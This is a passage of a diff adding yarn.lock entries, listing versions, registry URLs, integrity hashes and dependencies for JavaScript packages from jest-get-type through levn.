+jest-get-type@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-27.5.1.tgz#3cd613c507b0f7ace013df407a1c1cd578bcb4f1"
+  integrity sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==
+
+jest-haste-map@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-haste-map/-/jest-haste-map-27.5.1.tgz#9fd8bd7e7b4fa502d9c6164c5640512b4e811e7f"
+  integrity sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/graceful-fs" "^4.1.2"
+    "@types/node" "*"
+    anymatch "^3.0.3"
+    fb-watchman "^2.0.0"
+    graceful-fs "^4.2.9"
+    jest-regex-util "^27.5.1"
+    jest-serializer "^27.5.1"
+    jest-util "^27.5.1"
+    jest-worker "^27.5.1"
+    micromatch "^4.0.4"
+    walker "^1.0.7"
+  optionalDependencies:
+    fsevents "^2.3.2"
+
+jest-jasmine2@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz#a037b0034ef49a9f3d71c4375a796f3b230d1ac4"
+  integrity sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/source-map" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    co "^4.6.0"
+    expect "^27.5.1"
+    is-generator-fn "^2.0.0"
+    jest-each "^27.5.1"
+    jest-matcher-utils "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-runtime "^27.5.1"
+    jest-snapshot "^27.5.1"
+    jest-util "^27.5.1"
+    pretty-format "^27.5.1"
+    throat "^6.0.1"
+
+jest-leak-detector@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz#6ec9d54c3579dd6e3e66d70e3498adf80fde3fb8"
+  integrity sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==
+  dependencies:
+    jest-get-type "^27.5.1"
+    pretty-format "^27.5.1"
+
+jest-matcher-utils@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz#9c0cdbda8245bc22d2331729d1091308b40cf8ab"
+  integrity sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==
+  dependencies:
+    chalk "^4.0.0"
+    jest-diff "^27.5.1"
+    jest-get-type "^27.5.1"
+    pretty-format "^27.5.1"
+
+jest-message-util@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-27.5.1.tgz#bdda72806da10d9ed6425e12afff38cd1458b6cf"
+  integrity sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==
+  dependencies:
+    "@babel/code-frame" "^7.12.13"
+    "@jest/types" "^27.5.1"
+    "@types/stack-utils" "^2.0.0"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    micromatch "^4.0.4"
+    pretty-format "^27.5.1"
+    slash "^3.0.0"
+    stack-utils "^2.0.3"
+
+jest-message-util@^28.1.3:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-28.1.3.tgz#232def7f2e333f1eecc90649b5b94b0055e7c43d"
+  integrity sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==
+  dependencies:
+    "@babel/code-frame" "^7.12.13"
+    "@jest/types" "^28.1.3"
+    "@types/stack-utils" "^2.0.0"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    micromatch "^4.0.4"
+    pretty-format "^28.1.3"
+    slash "^3.0.0"
+    stack-utils "^2.0.3"
+
+jest-mock@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-mock/-/jest-mock-27.5.1.tgz#19948336d49ef4d9c52021d34ac7b5f36ff967d6"
+  integrity sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+
+jest-pnp-resolver@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz#930b1546164d4ad5937d5540e711d4d38d4cad2e"
+  integrity sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==
+
+jest-regex-util@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-27.5.1.tgz#4da143f7e9fd1e542d4aa69617b38e4a78365b95"
+  integrity sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==
+
+jest-regex-util@^28.0.0:
+  version "28.0.2"
+  resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-28.0.2.tgz#afdc377a3b25fb6e80825adcf76c854e5bf47ead"
+  integrity sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==
+
+jest-resolve-dependencies@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz#d811ecc8305e731cc86dd79741ee98fed06f1da8"
+  integrity sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-snapshot "^27.5.1"
+
+jest-resolve@^27.4.2, jest-resolve@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-resolve/-/jest-resolve-27.5.1.tgz#a2f1c5a0796ec18fe9eb1536ac3814c23617b384"
+  integrity sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    jest-haste-map "^27.5.1"
+    jest-pnp-resolver "^1.2.2"
+    jest-util "^27.5.1"
+    jest-validate "^27.5.1"
+    resolve "^1.20.0"
+    resolve.exports "^1.1.0"
+    slash "^3.0.0"
+
+jest-runner@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-runner/-/jest-runner-27.5.1.tgz#071b27c1fa30d90540805c5645a0ec167c7b62e5"
+  integrity sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==
+  dependencies:
+    "@jest/console" "^27.5.1"
+    "@jest/environment" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    emittery "^0.8.1"
+    graceful-fs "^4.2.9"
+    jest-docblock "^27.5.1"
+    jest-environment-jsdom "^27.5.1"
+    jest-environment-node "^27.5.1"
+    jest-haste-map "^27.5.1"
+    jest-leak-detector "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-runtime "^27.5.1"
+    jest-util "^27.5.1"
+    jest-worker "^27.5.1"
+    source-map-support "^0.5.6"
+    throat "^6.0.1"
+
+jest-runtime@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-runtime/-/jest-runtime-27.5.1.tgz#4896003d7a334f7e8e4a53ba93fb9bcd3db0a1af"
+  integrity sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/fake-timers" "^27.5.1"
+    "@jest/globals" "^27.5.1"
+    "@jest/source-map" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    chalk "^4.0.0"
+    cjs-module-lexer "^1.0.0"
+    collect-v8-coverage "^1.0.0"
+    execa "^5.0.0"
+    glob "^7.1.3"
+    graceful-fs "^4.2.9"
+    jest-haste-map "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-mock "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-snapshot "^27.5.1"
+    jest-util "^27.5.1"
+    slash "^3.0.0"
+    strip-bom "^4.0.0"
+
+jest-serializer@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-serializer/-/jest-serializer-27.5.1.tgz#81438410a30ea66fd57ff730835123dea1fb1f64"
+  integrity sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==
+  dependencies:
+    "@types/node" "*"
+    graceful-fs "^4.2.9"
+
+jest-snapshot@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-snapshot/-/jest-snapshot-27.5.1.tgz#b668d50d23d38054a51b42c4039cab59ae6eb6a1"
+  integrity sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==
+  dependencies:
+    "@babel/core" "^7.7.2"
+    "@babel/generator" "^7.7.2"
+    "@babel/plugin-syntax-typescript" "^7.7.2"
+    "@babel/traverse" "^7.7.2"
+    "@babel/types" "^7.0.0"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/babel__traverse" "^7.0.4"
+    "@types/prettier" "^2.1.5"
+    babel-preset-current-node-syntax "^1.0.0"
+    chalk "^4.0.0"
+    expect "^27.5.1"
+    graceful-fs "^4.2.9"
+    jest-diff "^27.5.1"
+    jest-get-type "^27.5.1"
+    jest-haste-map "^27.5.1"
+    jest-matcher-utils "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-util "^27.5.1"
+    natural-compare "^1.4.0"
+    pretty-format "^27.5.1"
+    semver "^7.3.2"
+
+jest-util@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-27.5.1.tgz#3ba9771e8e31a0b85da48fe0b0891fb86c01c2f9"
+  integrity sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    ci-info "^3.2.0"
+    graceful-fs "^4.2.9"
+    picomatch "^2.2.3"
+
+jest-util@^28.1.3:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-28.1.3.tgz#f4f932aa0074f0679943220ff9cbba7e497028b0"
+  integrity sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==
+  dependencies:
+    "@jest/types" "^28.1.3"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    ci-info "^3.2.0"
+    graceful-fs "^4.2.9"
+    picomatch "^2.2.3"
+
+jest-validate@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-validate/-/jest-validate-27.5.1.tgz#9197d54dc0bdb52260b8db40b46ae668e04df067"
+  integrity sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    camelcase "^6.2.0"
+    chalk "^4.0.0"
+    jest-get-type "^27.5.1"
+    leven "^3.1.0"
+    pretty-format "^27.5.1"
+
+jest-watch-typeahead@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz#b4a6826dfb9c9420da2f7bc900de59dad11266a9"
+  integrity sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==
+  dependencies:
+    ansi-escapes "^4.3.1"
+    chalk "^4.0.0"
+    jest-regex-util "^28.0.0"
+    jest-watcher "^28.0.0"
+    slash "^4.0.0"
+    string-length "^5.0.1"
+    strip-ansi "^7.0.1"
+
+jest-watcher@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-27.5.1.tgz#71bd85fb9bde3a2c2ec4dc353437971c43c642a2"
+  integrity sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==
+  dependencies:
+    "@jest/test-result" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    ansi-escapes "^4.2.1"
+    chalk "^4.0.0"
+    jest-util "^27.5.1"
+    string-length "^4.0.1"
+
+jest-watcher@^28.0.0:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-28.1.3.tgz#c6023a59ba2255e3b4c57179fc94164b3e73abd4"
+  integrity sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==
+  dependencies:
+    "@jest/test-result" "^28.1.3"
+    "@jest/types" "^28.1.3"
+    "@types/node" "*"
+    ansi-escapes "^4.2.1"
+    chalk "^4.0.0"
+    emittery "^0.10.2"
+    jest-util "^28.1.3"
+    string-length "^4.0.1"
+
+jest-worker@^26.2.1:
+  version "26.6.2"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-26.6.2.tgz#7f72cbc4d643c365e27b9fd775f9d0eaa9c7a8ed"
+  integrity sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^7.0.0"
+
+jest-worker@^27.0.2, jest-worker@^27.4.5, jest-worker@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-27.5.1.tgz#8d146f0900e8973b106b6f73cc1e9a8cb86f8db0"
+  integrity sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^8.0.0"
+
+jest-worker@^28.0.2:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-28.1.3.tgz#7e3c4ce3fa23d1bb6accb169e7f396f98ed4bb98"
+  integrity sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^8.0.0"
+
+jest@^27.4.3:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/jest/-/jest-27.5.1.tgz#dadf33ba70a779be7a6fc33015843b51494f63fc"
+  integrity sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==
+  dependencies:
+    "@jest/core" "^27.5.1"
+    import-local "^3.0.2"
+    jest-cli "^27.5.1"
+
+jiti@^1.21.6:
+  version "1.21.7"
+  resolved "https://registry.yarnpkg.com/jiti/-/jiti-1.21.7.tgz#9dd81043424a3d28458b193d965f0d18a2300ba9"
+  integrity sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==
+
+"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^3.13.1:
+  version "3.14.1"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
+  integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
+  dependencies:
+    argparse "^1.0.7"
+    esprima "^4.0.0"
+
+js-yaml@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602"
+  integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
+  dependencies:
+    argparse "^2.0.1"
+
+jsdom@^16.6.0:
+  version "16.7.0"
+  resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-16.7.0.tgz#918ae71965424b197c819f8183a754e18977b710"
+  integrity sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==
+  dependencies:
+    abab "^2.0.5"
+    acorn "^8.2.4"
+    acorn-globals "^6.0.0"
+    cssom "^0.4.4"
+    cssstyle "^2.3.0"
+    data-urls "^2.0.0"
+    decimal.js "^10.2.1"
+    domexception "^2.0.1"
+    escodegen "^2.0.0"
+    form-data "^3.0.0"
+    html-encoding-sniffer "^2.0.1"
+    http-proxy-agent "^4.0.1"
+    https-proxy-agent "^5.0.0"
+    is-potential-custom-element-name "^1.0.1"
+    nwsapi "^2.2.0"
+    parse5 "6.0.1"
+    saxes "^5.0.1"
+    symbol-tree "^3.2.4"
+    tough-cookie "^4.0.0"
+    w3c-hr-time "^1.0.2"
+    w3c-xmlserializer "^2.0.0"
+    webidl-conversions "^6.1.0"
+    whatwg-encoding "^1.0.5"
+    whatwg-mimetype "^2.3.0"
+    whatwg-url "^8.5.0"
+    ws "^7.4.6"
+    xml-name-validator "^3.0.0"
+
+jsesc@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz#74d335a234f67ed19907fdadfac7ccf9d409825d"
+  integrity sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==
+
+jsesc@~3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.0.2.tgz#bb8b09a6597ba426425f2e4a07245c3d00b9343e"
+  integrity sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==
+
+json-buffer@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13"
+  integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
+
+json-parse-even-better-errors@^2.3.0, json-parse-even-better-errors@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
+  integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-schema-traverse@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2"
+  integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==
+
+json-schema@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.4.0.tgz#f7de4cf6efab838ebaeb3236474cbba5a1930ab5"
+  integrity sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+json5@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.2.tgz#63d98d60f21b313b77c4d6da18bfa69d80e1d593"
+  integrity sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==
+  dependencies:
+    minimist "^1.2.0"
+
+json5@^2.1.2, json5@^2.2.0, json5@^2.2.3:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.3.tgz#78cd6f1a19bdc12b73db5ad0c61efd66c1e29283"
+  integrity sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==
+
+jsonfile@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae"
+  integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==
+  dependencies:
+    universalify "^2.0.0"
+  optionalDependencies:
+    graceful-fs "^4.1.6"
+
+jsonpath@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/jsonpath/-/jsonpath-1.1.1.tgz#0ca1ed8fb65bb3309248cc9d5466d12d5b0b9901"
+  integrity sha512-l6Cg7jRpixfbgoWgkrl77dgEj8RPvND0wMH6TwQmi9Qs4TFfS9u5cUFnbeKTwj5ga5Y3BTGGNI28k117LJ009w==
+  dependencies:
+    esprima "1.2.2"
+    static-eval "2.0.2"
+    underscore "1.12.1"
+
+jsonpointer@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/jsonpointer/-/jsonpointer-5.0.1.tgz#2110e0af0900fd37467b5907ecd13a7884a1b559"
+  integrity sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==
+
+"jsx-ast-utils@^2.4.1 || ^3.0.0", jsx-ast-utils@^3.3.5:
+  version "3.3.5"
+  resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz#4766bd05a8e2a11af222becd19e15575e52a853a"
+  integrity sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==
+  dependencies:
+    array-includes "^3.1.6"
+    array.prototype.flat "^1.3.1"
+    object.assign "^4.1.4"
+    object.values "^1.1.6"
+
+keyv@^4.5.3:
+  version "4.5.4"
+  resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93"
+  integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
+  dependencies:
+    json-buffer "3.0.1"
+
+kind-of@^6.0.2:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
+  integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
+
+kleur@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
+  integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==
+
+klona@^2.0.4, klona@^2.0.5:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/klona/-/klona-2.0.6.tgz#85bffbf819c03b2f53270412420a4555ef882e22"
+  integrity sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==
+
+language-subtag-registry@^0.3.20:
+  version "0.3.23"
+  resolved "https://registry.yarnpkg.com/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz#23529e04d9e3b74679d70142df3fd2eb6ec572e7"
+  integrity sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==
+
+language-tags@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/language-tags/-/language-tags-1.0.9.tgz#1ffdcd0ec0fafb4b1be7f8b11f306ad0f9c08777"
+  integrity sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==
+  dependencies:
+    language-subtag-registry "^0.3.20"
+
+launch-editor@^2.6.0:
+  version "2.9.1"
+  resolved "https://registry.yarnpkg.com/launch-editor/-/launch-editor-2.9.1.tgz#253f173bd441e342d4344b4dae58291abb425047"
+  integrity sha512-Gcnl4Bd+hRO9P9icCP/RVVT2o8SFlPXofuCxvA2SaZuH45whSvf5p8x5oih5ftLiVhEI4sp5xDY+R+b3zJBh5w==
+  dependencies:
+    picocolors "^1.0.0"
+    shell-quote "^1.8.1"
+
+leven@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/leven/-/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2"
+  integrity sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==
+
+levn@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
+  integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==
+  dependencies:
+    prelude-ls "^1.2.1"
